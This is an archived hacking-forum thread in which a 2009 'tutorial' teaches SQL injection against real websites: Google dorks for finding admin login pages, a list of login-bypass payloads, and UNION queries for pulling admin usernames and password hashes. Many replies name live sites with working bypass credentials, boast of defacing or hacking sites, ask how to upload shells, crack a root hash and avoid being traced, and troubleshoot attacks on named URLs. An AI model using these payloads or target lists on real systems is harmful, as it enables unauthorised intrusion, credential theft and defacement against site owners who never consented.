

Forum: [Hack Forums](#)

Thread: [Detailed Basic and Full SQL Injection Tutorial](#)

Nerv - February 9, 2009, 1:01 am

==

Q what is sql injection?

A injecting sql queries into another database or using queries to get auth bypass as an admin.

part 1 : Basic sql injection

Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp

First we need 2 find a site, start by opening google.

Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect'

There is a large number of google dork for basic sql injection.

here is the best:

"inurl:admin.asp"

"inurl:login/admin.asp"

"inurl:admin/login.asp"

"inurl:adminlogin.asp"

"inurl:adminhome.asp"

"inurl:admin_login.asp"

"inurl:administratorlogin.asp"

"inurl:login/administrator.asp"

"inurl:administrator_login.asp"

Now what to do once we get to our site.

the site should look something like this :

welcome to xx administrator panel

username :

password :

so what we do here is in the username we always type "Admin"

and for our password we type our sql injection

here is a list of sql injections

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

) or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

) or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

there are many more but these are the best ones that i know of
and what this sql injection is doing : confusing the fuck out of the database till it gives you auth
bypass.

So your input should look like this

username:Admin

password:'or'1='1

So click submit and you'r in
NOTE not all sites are vulnerable.

part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :

www.xx.com/index.php?catid=1

there is a list of dork 4 sites lyk this

"inurl:index.php?catid="

"inurl:news.php?catid="

"inurl:index.php?id="

"inurl:news.php?id="

or the best in my view "full credit to qabandi for discovering this"
"inurl:".php?catid=" site:xxx"

So once you have your site

www.xxxx.com/index.php?catid=1

now we add a ' to the end of the url

so the site is

www.xxxx.com/index.php?catid=1'

if there is an error of some sort then it is vulnerable

now we need to find the number of columns in the sql database

so we type

www.xxxx.com/index.php?catid=1 order by 1-- "no error"

www.xxxx.com/index.php?catid=1 order by 2-- "no error"

www.xxxx.com/index.php?catid=1 order by 3-- "no error"

www.xxxx.com/index.php?catid=1 order by 4-- "no error"

www.xxxx.com/index.php?catid=1 order by 5-- "error"

so this database has 4 columns because we got an error on 5

on some databases there is 2 columns and on some 200 it varies

so once we have the column number.

we try the union function

www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names

it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the db

so now we need to info about the db

so lets say the numbers 2 and 4 showed up on the screen

so i will use my query on 2

www.xxxx.com/index.php?catid=1 union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--

the db type and version will pop up on the screen

if the db version is 4 or lower then to extract the password you will need these queries

www.xxxx.com/index.php?catid=-1 UNION SELECT
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--

this should display the table containing the admin username and password

but if not then you will have to guess the table

so once you have your table "or not"

then type

www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
where it says admintablename type the table you found with

concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess

then once u have the right table name you should get the administrator password

then just do the same thing but type username instead of password

sometimes the password is hashed and you need to crack it.

then see if you can get the admin panel if you cant then try the admin panel finder script here

http://www.darkc0de.com/c0de/perl/admin_1.2.txt

now if the database is version 5 or up

type

www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM
information_schema.tables--

and that will display a list of all the tables
once you have your table name
type the same thing as 4
www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
then the same with username
but now if it doesnt work far all those things
just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing
just play around with those
but sometimes we also need to use the version() or version@@
so sometimes UNION SELECT version (),password,3,4 FROM admintable--
or UNION SELECT version @@,password,3,4 FROM admintable--

Well that about wraps up my sql injection tutorial.

Jenova - February 9, 2009, 6:55 am

great job champ :)

Simon - February 9, 2009, 7:00 am

The initial list of "sql injections" that you posted will not work -- syntax errors in each and every one of them (even assuming that the site/field they're injected into is vulnerable).

'or'1'='1 should be ' or '1'='1
'or'x'='x should be ' or 'x'='x (and is identical to the first)
' or 'x'='x'oe--' should be ' or 'x'='x' -- (and is identical to the first and second in nature)
'or'1'='1 -- should be ' or 1=1 -- (and is identical to the first, second, and third in nature)

Nerv - February 9, 2009, 9:56 am

oops thanks 4 poiting that out

"i dont normally use the old ' or '1'='1 my friend is the one who said 'or'1'='1 works and with the x as well"

ps 'or'1'='1'oe-- "was made up by my friend

chestercheng75 - February 9, 2009, 10:45 am

Good tutorial!

anand - February 9, 2009, 10:54 am

nice tutorial

Nerv - February 9, 2009, 7:28 pm

thanks guys i will post more 4 u

Standardshadow - February 9, 2009, 11:24 pm

nice tutorial it help me at hacking some sites

coop3x - February 9, 2009, 11:30 pm

yeah bro nice tutorial

grasmanek94 - February 10, 2009, 7:34 am

good tut.. i saw somewhere a vid... try this vid:Code http://#.com/files/132125390/sql_injection.wmv
seems exact the same thingy ;p

t3hmadhatt3r - February 10, 2009, 8:11 am

Good tut....I think its copied though :(Simon knows what he's talking about ? .Thanks Simon ?

cool_rahul003 - February 10, 2009, 9:11 am

Really interesting tut.
but many parts are not covered yet

Nerv - February 10, 2009, 9:33 am

(Feb 10, 2009 09:11 AM)t3hmadhatt3r Wrote: [\[CITE\]](#) Good tut....I think its copied though :(.Simon knows what he's talking about : .Thanks Simon ?

? ? look i dont copy my tuts from anywhere. I write them myself with my knowledge...otherwise i wouldnt post it "because it's not my tut"

?

ok i am going to edit the tutorial so it covers all parts i can think of

ViRuS' - February 15, 2009, 12:39 am

NICE TUT! Easy to follow through... +rep!

Nerv - February 15, 2009, 7:25 pm

thanks ViRuS'
hows hacking goin anyway

GoodChair - February 16, 2009, 8:46 am

thanks
[message to short]

Enuf - February 19, 2009, 12:07 pm

Nice tut. Every site i find never has any good tables lol

W4rI0Ck - February 19, 2009, 5:25 pm

Nice Tut on SQL Keep up the good work.

De\$eRt_E4GLE - February 19, 2009, 5:45 pm

Nice tutorial... so easy to understand :D thnx bro... keep it up (Y)

I would + rep u but got no l33t :(

Im rating 5 of 5 instead :D

Nerv - February 19, 2009, 8:03 pm

thanks guyz i hope 2 c more defaced sites from u as well

yL. - February 20, 2009, 1:57 pm

Good job, I will be here alot :)

Nerv - February 20, 2009, 4:11 pm

thanks :D
[message to short]

Vebedot - March 5, 2009, 11:49 pm

Haha this is hilarious!

I was searching for sites with the admin.asp, and Google blocked me! XD

shadogard - March 6, 2009, 12:59 am

nice tutorial bro.... thanx

Shotta - March 6, 2009, 5:06 am

i cant find good sites to inject sql queries to extract the admin username and password

i already found one : <http://www.rfidupdate.com/>

but no login panel -.-

does someone have more sites plz ?

TMystic - March 6, 2009, 9:53 am

Well nice tut yea. And I wanted to try it on this site: [deleted]

and I thought that the write thing is to put order by 1, by 2, by 3... and so on.. But it goes too far.. So all in all I didn't get how to do this..

Could you help me in my learning?

Karniaa - March 6, 2009, 4:59 pm

thanks for this detailed tutorial

Nerv - March 6, 2009, 6:42 pm

just wittle it down

order by 1--

order by 2--

order by 10--

order by 20--

order by 30--

untill u get error

the work ur way down

:D

Anarchy93 - March 6, 2009, 7:03 pm

Wow thanx man, really nice tut :p

learninghackingallmylife - March 6, 2009, 8:02 pm

AWESOME TUT!!! I will definitely look into sql injection more.

Back_track - March 6, 2009, 8:04 pm

Thanks I've been looking for something like this for a long time

gilapepe - March 6, 2009, 9:26 pm

Thanks man...very good TUT for Newbies like me....

Keep good Posting Man...

GBU

Nerv - March 6, 2009, 9:57 pm

now u know this why not read my new tut

blind sql injection

<https://hackforums.net/showthread.php?tid=56326>

why mysql injection doesnt work

or the site isnt vulnerable

try the blind way and see if its vuln

:D

Uchiha-Itachi - March 8, 2009, 3:48 pm

Nice tut all your tut are the best;) see you

Uchiha-Itachi - March 8, 2009, 4:58 pm

nice tut i like it thanks

b1n4ry burn3r - March 9, 2009, 12:08 pm

Good tutorial, thanks!

Nerv - March 10, 2009, 8:47 pm

XD havent noticed many people looking at the blind sql injection tut

if u wanna learn how 2 hack sql injection good

u need 2 learn this

seriously u will find another huge amount of the 60% websites that are vulnerable to sql injection

blind link =

<https://hackforums.net/showthread.php?tid=56326>

itswink - March 14, 2009, 4:15 pm

here is an example of one that works for you to try out....

<http://www.ouronlineregistry.com/welcome/AdministratorLogin.asp>

username: Admin

Pass: ' or '1'='1

Nerv - March 14, 2009, 8:43 pm

lol that is one way

or i have found a way to extract info like the db type and much more

of almost any asp login page

by generating errors

i will be posting the tut

named

advanced sql injection in login pages

lol i just found these table/column names :P

tblAdministrator.AdministratorID, tblAdministrator.AdministratorName,
tblAdministrator.AdministratorPassword, tblAdministrator.QueryStringKey,
tblAdministrator.AdministratorEmail, tblAdministrator.Access_ID,
tblAdministrator.RegistryCount_Max, tblAdministrator.DoShowInstruction,
tblAdministrator.DateCreated

i might make a video tut will send youtube link

uzishotz - March 16, 2009, 4:29 pm

Could you please pm me the link? Thanks :D nice tut.

Nerv - March 22, 2009, 10:47 pm

lol it hasnt been posted yet

ima make a video example as well as a tutorial

Zw4R - April 1, 2009, 12:50 am

Nice tut .Thx.Daniel what about sqlmap? can we use that tool for sql injection? when eva i am using that tool user name is rretrieved but it shows error while retrieving password.why so?

Nerv - April 2, 2009, 12:26 am

coz its a blind sql injection tool
plus tools are just the n00by way out
there is no real talent needed
meaning you rely on a program
so really
you arent hacking
the program is
i use 1 program
the firefox addon
hackbar
all it does
is make it a bit quicker
by entering the selected available queries
:P

Zw4R - April 2, 2009, 4:42 am

Daniel.

i got admin pass and username by this tut thanks.but i am able to login thru admin panel (i.e,www.xxx/admin) i can only edit contents but how to deface it ? someone asked me to upload shell.but how to ?

ashmafia - April 2, 2009, 5:10 am

thk it really help really nice

Zw4R - April 2, 2009, 2:58 pm

(Feb 9, 2009 02:01 AM)dan1el Wrote: [\[CITE\]](#)

=====

www.xxxx.com/index.php?catid=-1 UNION SELECT
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and passwordDaniel Is there any
mistake in this sql query?coz your Query for version above 4 working fine for me.but when ever i am
tryin this i am getting error.

Quote:then see if you can get the admin panel if you cant then try the admin panel finder script here
http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
where this text file should be used so that we can find Admin panel.can you throw some light
regarding this.

Thanks!?

StNightmare - April 6, 2009, 7:52 am

thanks man good job on this ^-^ keep it up

Nerv - April 7, 2009, 1:22 am

(Apr 2, 2009 02:58 PM)Zw4R Wrote: [\[CITE\]](#) (Feb 9, 2009 02:01 AM)dan1el Wrote: [\[CITE\]](#)

=====

www.xxxx.com/index.php?catid=-1 UNION SELECT
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from

information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and passwordDaniel Is there any
mistake in this sql query?coz your Query for version above 4 working fine for me.but when ever i am
tryin this i am getting error.

Quote:then see if you can get the admin panel if you cant then try the admin panel finder script here
http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
where this text file should be used so that we can find Admin panel.can you throw some light
regarding this.

Thanks!?dude if u cant even run a perl program why are you learning sql
start with the basics like telnet hacking
u need 2 know how 2 program the language to hack it
i know php sql and im learning asp i am a webmaster and hacker
this is for all peeps out there!

xenix - April 8, 2009, 8:39 am

i found a vulnerable site, igot this error in "order by 1--"
mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/*****
then i try union select 1--
and i so number "1" on the screen...
i was stop to the next step
<http://www.xxxx.com/index.php?catid=1> union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--
i cant find the db type and version, can you hel me sir?

lightman_86 - April 9, 2009, 12:13 am

Love this tut!!! Read it half a million times.!

Zw4R - April 11, 2009, 5:39 am

Wit the help of your tut..i got a bunch of Passwrđ hashes :) :) Thnks Dude..!!
root:[hash]
which is the best cracker to crack this hash?
[me reading your shell uploading tut now]
Attimes when i am tryin to rtrieve tables and columns i am getting only
CHARECTER_SET and CHARECTER_SET_NAME
what does this mean?
Attimes when i am tryin to rtrieve tables and columns i am getting only
CHARECTER_SET and CHARECTER_SET_NAME
what does this mean?

Zw4R - April 11, 2009, 6:41 am

at times while trying to retrieve tables and columns i get only CHARECTER_SET as table and
CHARECTER_SET_NAME as column. what does this mean?no other tables or columns?

Riss - April 11, 2009, 6:52 am

So. . .
Let's say i try "" or ('x'='x "
And then it dousn't work, do i need to test all of them?

haxxxxy - April 11, 2009, 11:56 am

great tut dan1el
keep it up.

dmanza - April 14, 2009, 3:54 am

awesome post, cheers for sharing buddy!!

Skaraa - April 14, 2009, 12:31 pm

did i have to die ?

??

Jpillz - April 14, 2009, 1:44 pm

lol no it's okay. :D

[W4RL0CK] - April 15, 2009, 4:40 am

nice tutorial man!!! cheers for the share :)

[W4RL0CK] - April 15, 2009, 6:53 am

what an awesome tutorial, cheers mate!!

BonesInvalid - April 16, 2009, 5:49 pm

I dont really understand several parts you were trying to explain in your tutorial...

Like the "dork" search, am I searching the word Dork? Or what,

Than the URL part, am I putting thoes in at the end?

2nazty4u2handle - April 17, 2009, 6:53 pm

OMG this shit is confusing. This seems like one of the 2 things I wanna specialize in, so I'll be posting in here alot. nice post tho

Valour - April 17, 2009, 8:47 pm

Thnnnnnnxxxxxxx for the tut

tusku - April 19, 2009, 7:33 pm

Nice tutorial. [+]REP for you. Â

TheHackz - April 20, 2009, 9:16 am

thanks dude, very helpful

mammoth - April 21, 2009, 5:08 pm

what does it mean when you test for a vuln with the ' and you get an error such as....

Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cLng'

/subscribeplan.asp, line 320

but when you try to ORDER the columns, nothing happens. But it repeats the same error page?

thanks

Mineral - April 28, 2009, 6:17 am

Thanks for the TUT, really helpful.

Glock Phobia - April 28, 2009, 6:26 am

nice tut but there is something i understood for SQLi - u gotta learn MySQL, PHP and may be C#

otherwise no matter how many tuts u read u wont be able to do a proper SQLi .. unless u r one very lucky mo'fo' :)

cmbatchuk - April 29, 2009, 6:35 pm

It's a good thing I am a moral person.

I came across a company's paypal account today on their site.

Oh . . . what I could have done, if I wasn't a nice guy.

Riproarious - May 12, 2009, 7:33 pm

I can do the first steps fine...

Let's say the error is in column 5, when I try and do this:

<http://www.xxxx.com/index.php?catid=1> union select 1,2,3,4--

It never seems to work, I always get select does not describe number of columns...

Or some kind of MySQL error message.

I'll pm you an example if it helps.

zeroclass - May 13, 2009, 11:40 am

nice tut! great job! :)

zindeq - May 14, 2009, 11:59 am

this is great details, i will read it ALL

ramirez13 - May 14, 2009, 1:21 pm

wow..nice...thanx for share

p4dm3sh - May 20, 2009, 8:32 am

Da 1st step fails Nowadays

can u wat type of error we get in step 2

the gost - May 20, 2009, 8:53 am

that's cool man thanx

artline - May 21, 2009, 6:02 am

?woo..! very useful.

thanx.

kiddies - May 21, 2009, 8:53 am

wow nice tutorial, i understand your mena for attacking a site....

Hexpert - May 27, 2009, 3:48 am

it worked for this step

but when i want to see al the table it's not showing up

pakalolo987 - May 27, 2009, 4:53 pm

Very helpfull and usefull tut. thanks

lilpubzy - June 6, 2009, 5:41 am

nice tut :)))

unisport - June 6, 2009, 1:01 pm

1 question: do you need to write the SQL injections with all the spaces?

enac - June 6, 2009, 2:21 pm

thanks for this :D you have helped me quite a bit

M.I.A - June 6, 2009, 2:24 pm

Thanks although when I say "union select 1,2,3,4--" at the end, it doesn't show up with anything. :(

Missing In Action.

Minus-Zero - June 6, 2009, 2:25 pm

its Union all select 1,2,3,4--

legend2memba - June 7, 2009, 7:44 am

Good tutorial, well explained man.

wtf - June 8, 2009, 4:47 pm

So if everything works up until the "Union select 1,2--" then i can't extract any data from the database then?

paint4blood - June 9, 2009, 6:08 am

Holy crap, awesome. Rep sent.

Spinal-Bane - June 10, 2009, 9:28 am

Thank you so much for the tut.

I am currently trying a site (for practice, not malicious)
the cat id=xx ' shows me its vunr, and i went from order by 1 to order by 11, where i got an error,
that means 10 is the one i want right?

but when i try Union all select 1,2,3,4--
i get confused, do i type this exactly?
or Union all select 10,--
or Union all select 1,2,3,4,5,6,7,8,9,10,--

Help is appreciated very much, and again, your tut was fantastic.

PS: when i do Union all select 10,-- i get
Database error: Invalid SQL: SELECT * FROM Categories WHERE catid = 66 Union all select 10.--
MySQL Error: 1222 (The used SELECT statements have a different number of columns)
Session halted.

weaseley - June 10, 2009, 8:01 pm

yes, very nice. Easy to understand too.

silentstorm - June 11, 2009, 12:34 pm

nice tutorial
(SHORT)

Abomination - June 13, 2009, 1:32 am

You lost me at part 1 when you say now we type in our dork and before the list of sql injections

DoesNotAfraid - June 14, 2009, 2:47 pm

I've tried MySQLi in URLs and have only found MySQL versions 5.0 and up. Sad.

antwashere - June 18, 2009, 11:24 am

(Jun 10, 2009 09:28 AM)Spinal-Bane Wrote: [\[CITE\]](#) Thank you so much for the tut.

I am currently trying a site (for practice, not malicious)
the cat id=xx ' shows me its vunr, and i went from order by 1 to order by 11, where i got an error,
that means 10 is the one i want right?

but when i try Union all select 1,2,3,4--
i get confused, do i type this exactly?
or Union all select 10,--
or Union all select 1,2,3,4,5,6,7,8,9,10,--

Help is appreciated very much, and again, your tut was fantastic.

PS: when i do Union all select 10,-- i get
Database error: Invalid SQL: SELECT * FROM Categories WHERE catid = 66 Union all select 10.--
MySQL Error: 1222 (The used SELECT statements have a different number of columns)
Session halted.
id=x union all select 1,2,3,4,5,6,7,8,9,10--

p4dm3sh - June 19, 2009, 4:50 am

<http://go4veg.com/adminVegee/adminveg.asp>

Try Dis

user: admin
pass : 'or'1'='1
:)
http://www.iiac.in/control_panel.asp

same pass n user
:0

~Cold Light~ - June 19, 2009, 11:16 am

Hi you've lost me at "union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--"
the server i try is 2 untill it gives an error so what should i type union select
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- ? Can somewane help ty alot :)

kokainkoala - June 19, 2009, 4:05 pm

Ok I get lost at this part

<http://www.colorlines.com/article.php?ID=309> union select 1--

When I do that it says...

The used SELECT statements have a different number of columns

halp?

Han - June 20, 2009, 3:18 am

(Jun 19, 2009 04:05 PM)kokainkoala Wrote: [\[CITE\]](#) Ok I get lost at this part

<http://www.colorlines.com/article.php?ID=309> union select 1--

When I do that it says...

The used SELECT statements have a different number of columns

halp?

Code [http://www.colorlines.com/article.php?ID=309%20and%20substring\(%%version,1,1\)=4As](http://www.colorlines.com/article.php?ID=309%20and%20substring(%%version,1,1)=4As)
you can see, it's blind SQL injection.

@@@hacker@@@ - June 22, 2009, 9:44 am

man i am lost on part 2 what the hell??

MtN dEw aDdiCt - June 25, 2009, 12:15 am

i got really confused after i got the list of tables..

Blinked - June 30, 2009, 4:49 am

i found a site..every thing was fine but i got 4 numbers what to do?

that number was
10, 11 12 13

lukman_files - June 30, 2009, 10:02 am

it s a good completed sql injection tutorial, i like it

-Combo - July 1, 2009, 5:09 pm

This takes the piss, I just cannot do this SQL shit.

ANK789 - July 3, 2009, 9:19 am

thanx, helpfull tutorial.

trizmo - July 8, 2009, 4:16 am

this tut has been copy and pasted.....

<http://www.tinkernut.com/forum/hacks-for-everything/hacking-websites-mysql-injection-basics>

or maybe it was the other way around ,,, nice tut anyways!

?Border?ineExtr(A) - July 8, 2009, 4:19 am

thx.....

Nerv - July 13, 2009, 8:16 pm

trizmo

yeah it's the other way around
my alias is sql doctor
i have searched over the net
lots of sites have been using my tuts lol

wanabehaxor - July 17, 2009, 9:32 am

Ive just tryed my first SQL injection on a forum. I found a vunerable forum and i logged in succesfully using username as ' and password as 'or'1=1'

is that it? or is there anything else i need to do

sorry im extremely nooby lol

danang - July 18, 2009, 3:44 am

A very informative tutorial. Thank-you.

Marco - July 21, 2009, 8:44 pm

How come whenever I enter the code to get the table names it just says "Character_Sets"?

Braco Asshole - July 22, 2009, 5:53 pm

thank you very nice tut man

nameless_watermelon - July 25, 2009, 11:16 am

/poetry.php?poem=1 order by 1 still gives error

And when I try to copypaste it it turns into

/poetry.php?poem=5%20order%20by%201

Is this site vulnerable?

Don187 - July 25, 2009, 5:12 pm

This really works like a charm hahahaah lol

http://www.csbt.org.uk/busdirect2/admin_login.asp

username; admin
password; ' or '1'='1

Don187 - July 27, 2009, 3:05 am

http://www.litalumnimbai.com/Admin/Admin_login.asp

admin
' or '1'='1

Lol just hacked this one

<http://www.flbaptist.com/assets/asp/admin/AdminLogin.asp>

admin
' or '1'='1

lol another one

C1tron^ - July 27, 2009, 4:09 am

<http://xainnasir.blogspot.com/2009/04/hack-site-uning-sql.html>

?

SeNiOR_MaGMA - July 30, 2009, 6:20 pm

good work

supply us with more

CyberHacker™ - August 1, 2009, 11:42 pm

uhhh i dont understand the dork thing

Blacksheep182 - August 2, 2009, 1:37 am

Code <http://www.xxxx.com/index.php?catid=1> union select 1,2,3,4-- "or whatever number of columns are in the database"

if you see some numbers like 1 2 3 4 on the screen or the column names
it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the db

Now what if no numbers appear or column names and the page loads like normal?

WAR10CK - August 3, 2009, 8:53 pm

Hmmmh. I got the first part, but the 2nd confused me a bit. I'll try it again tomorrow... too late right now. :)

plitvice - August 4, 2009, 2:29 am

hello,

i tried to inject site and i get this:

http://www.rakovica.hr/vijesti/news_item.asp?NewsID=190%20order%20by%201--

is it injectable?

WAR10CK - August 4, 2009, 1:52 pm

I have one question. Can you somehow get caught hacking a website by SQL Injection? Like... can your ISP see that?

rayven18 - August 5, 2009, 3:09 am

you can be traced so always hide your IP with a program like tor or hotspot shield or use VPN

Armands - August 5, 2009, 4:31 am

Good tutorial, helped me a lot.

w0cmpt - August 5, 2009, 11:02 am

Hi (1st post, and I am pretty noob).

Great post, only "hacked" (I ain't a hacker, still learning things, so can't call it "hack") a few websites, by that I mean only looked up at admin panel didn't want to mess things up.

Just I was wondering if it is possible to find out that's the admin link of any site, instead of google those things. Example:

- 1) www.myexample.com
- 2) How to find if it is /admin.asp or something else? Is it possible?

Another thing, how can you avoid being detected?

Cheers m8s

lag-humper - August 6, 2009, 11:19 am

very nice, i love this tut... and i come back to it sometimes

(btw im not new, its me west158, forgot pass & pass wont come to me O_o)

SCR34M3R - August 7, 2009, 4:50 am

new to this stuff never done it befor, but do you have to try every sql injection for the password? or if one doesnt work none wont work?

Cheers
Justin

Stars - August 8, 2009, 2:55 am

its a very good tutorial!

3BBAS - August 8, 2009, 11:04 pm

nice, !!!!!!!!!!! keep it up

squeek - August 9, 2009, 1:21 pm

Very nice--thank you for this.
2short

jado - August 11, 2009, 8:20 am

plz someone try to hack this <http://www.sava.co.za/admin/login.asp>

imandyy - August 11, 2009, 10:50 am

Nice :) This helps alot.

Butthurt™ - August 11, 2009, 8:28 pm

My problem is like I tried this site:
<http://www.gamersinfo.net/content/news.php?id=168>
and when i put a ' after 168 I get a error.
But when i put anything else like:
orderby1-- i get the same error.

Riddle - August 12, 2009, 10:43 am

So go i got Website.com/products/index.php?catid=17 union select 1,2--
becasue I did Website.com/products/index.php?catid=17 order by 3-- and it got an error
And when I do any union select it shows up like this
[img]<http://img256.imageshack.us/img256/3205/mysqly.png>[img]

So what numbers do I use?

Velyson - August 12, 2009, 7:19 pm

<http://cartoons.sev.com.au/index.php?catid=1+union+all+select+1,2,3,4,5,6,7,8,9,10-->
I'm stuck on the union step, any advice on what I'm doing wrong?

Edit: figured out that part, simple mistake. but when I add
"concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)" it comes up
with

Code Database error: Invalid SQL: SELECT * FROM Categories WHERE catid = -1 union all select
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from

information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4,5,6,7,8,9,10
Code MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3,4,5,6,7,8,9,10' at line 1)
Session halted.

tu3mjnh - August 12, 2009, 7:42 pm

<http://cartoons.sev.com.au/index.php?catid=-1+union+all+select+1,2,3,4,5,version%28%29,7,8,9,10>

--

version 4 ==> Blind

(Aug 11, 2009 08:28 PM)JIVIART Wrote: [\[CITE\]](#) My problem is like I tried this site:

<http://www.gamersinfo.net/content/news.php?id=168>

and when i put a ' after 168 I get a error.

But when i put anything else like:

orderby1-- i get the same error.

<http://www.gamersinfo.net/content/news.php?id=-168> UNION SELECT

1,2,3,Group_Concat(Table_Name),5,6,7,8,9 From InforMation_ScheMa.Tables where
Table_schema = database()--

billymambo - August 14, 2009, 5:27 am

good one mate i like it

lakodajin - August 15, 2009, 4:36 am

nice tutorial my friend

Headbustaz - August 16, 2009, 8:52 am

fantastic information

thanks man

muon - August 19, 2009, 12:42 pm

ya i got the username and passwords of the few sites while reading and experimenting
but how to login to admin account i couldnt find it can any one help me.....

ignas177 - August 20, 2009, 4:59 am

(Aug 12, 2009 07:19 PM)Velyson Wrote: [\[CITE\]](#)

<http://cartoons.sev.com.au/index.php?catid=1+union+all+select+1,2,3,4,5,6,7,8,9,10-->

I'm stuck on the union step, any advice on what I'm doing wrong?

Edit: figured out that part, simple mistake. but when I add
"concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)" it comes up
with

Code Database error: Invalid SQL: SELECT * FROM Categories WHERE catid = -1 union all select
1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from
information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4,5,6,7,8,9,10
Code MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3,4,5,6,7,8,9,10' at line 1)
Session halted. Hey, i tried to hack this site too ! :D

plagued venom - August 22, 2009, 5:42 am

Thanks really helped loads of stuff to work on here.

KiiNG - August 22, 2009, 9:31 pm

Quote: <http://www.xxxx.com/index.php?catid=1> union select 1,2,3,4-- "or whatever number of columns are in the database"

from there on I don't understand. Would it help if I tried doing this while reading? if so please find me a site for practise on, because i cant find shit all on google with allinurl:admin/admin.asp etc...

ty

samurai-hacker - August 24, 2009, 6:45 pm

íÈĲæ Ãä åäÇáß ÎØÃ Ýí ÞÇÚĲĲ ÇáÈíÇäÇÊ

ÇáĲØÃ åæ : Êã ÊäÝíÐ ÚËÇÑÉ SQL ÎÇØÆÉ

ÞÇÚĲĲ ÇáÈíÇäÇÊ ÞÇãÊ ÊÃÑĲÇÚ ÇáãÚáæãÇÊ ÇáÊÇáíÉ Úä ÇáĲØÃ :You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " ORDER BY numid DESC LIMIT 0 , 100" at line 1

ÑÞä ÇáĲØÃ ÇáĐí ÃÚÇĲÊå ÞÇÚĲĲ ÇáÈíÇäÇÊ: 1064 does this work and please tell me what does this mean i didnt get it

<http://www.xxxx.com/index.php?catid=1> order by 1-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 2-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 3-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 4-- "no error"

<http://www.xxxx.com/index.php?catid=1> order by 5-- "error"

like what do i have to type there

baluk - August 25, 2009, 10:39 pm

nice post. i found it very useful to learn sql injection. keep it up friend.

rayhan-ak47 - August 26, 2009, 7:47 am

nice sdgsdfsad

short abalblb

rayhan-ak47 - August 26, 2009, 1:02 pm

NICE TUT TOO SHORT BALBALBLA

EndlessNameless - August 26, 2009, 2:37 pm

Great tutorial! I've really learned alot from this. I will be following your posts closely.

newbie_zero - August 28, 2009, 1:58 am

Waw....

Nice tutorial..

Thank...

honda - August 30, 2009, 7:57 pm

I hate this tut.

short

SilentRipper - August 31, 2009, 1:44 am

nice.. sql injection tutorial. it's help me a lot being a beginner.. thanks.

Toma - September 1, 2009, 11:12 am

Very good thanks bro.....

jobjob - September 1, 2009, 9:04 pm

good tut mate very useful.

i0dine - September 3, 2009, 10:19 am

You only have 15 pages of compliments, heres another. Nice tut man ^^

Toma - September 6, 2009, 5:32 pm

Nice tut ,thanx.....

ttristan5 - September 9, 2009, 11:25 pm

Nice Hacked A Few Sites With This Tut

onyourrisk - September 10, 2009, 2:33 pm

Thank you very much for this , Very nice tutorial

SANK - September 11, 2009, 4:14 pm

Just to give a hint. If you're planning on targeting Single sites. SQL most likely isnt the way to go....

crow3b - September 12, 2009, 2:04 am

can anyone tell me where to download SQL Injection?
?

TheBlackMarket - September 12, 2009, 3:22 pm

Good Job m8! Cool Tutorial =D

Juggernaut - September 13, 2009, 3:35 pm

Thank you dude! Helped a lot, and it was informative.

Steelclan - September 14, 2009, 2:02 pm

Are we supposed to enter the 'or' part or just the '1'=1?

fraccion - September 15, 2009, 10:48 pm

great dude!

but can help me?

im stuck at part 2?

all of it?

write <http://xxxxx.com/php?id=1> den i get error,

the what heh?

thx in advance :)

(Feb 9, 2009 02:01 AM)dan1el Wrote: [\[CITE\]](#)

=====

if you see some numbers like 1 2 3 4 on the screen or the column names

it might not show all numbers on the screen but the numbers displayed are the ones you can
replace to extract info from the db

so now we need to info about the db

so lets say the numbers 2 and 4 showed up on the screen
so i will use my query on 2
ive used this method over 10 site, but not number screens come out?
why?

thx :D

fallen_angel31 - September 15, 2009, 11:41 pm

It helps me a lot ki[p it up...

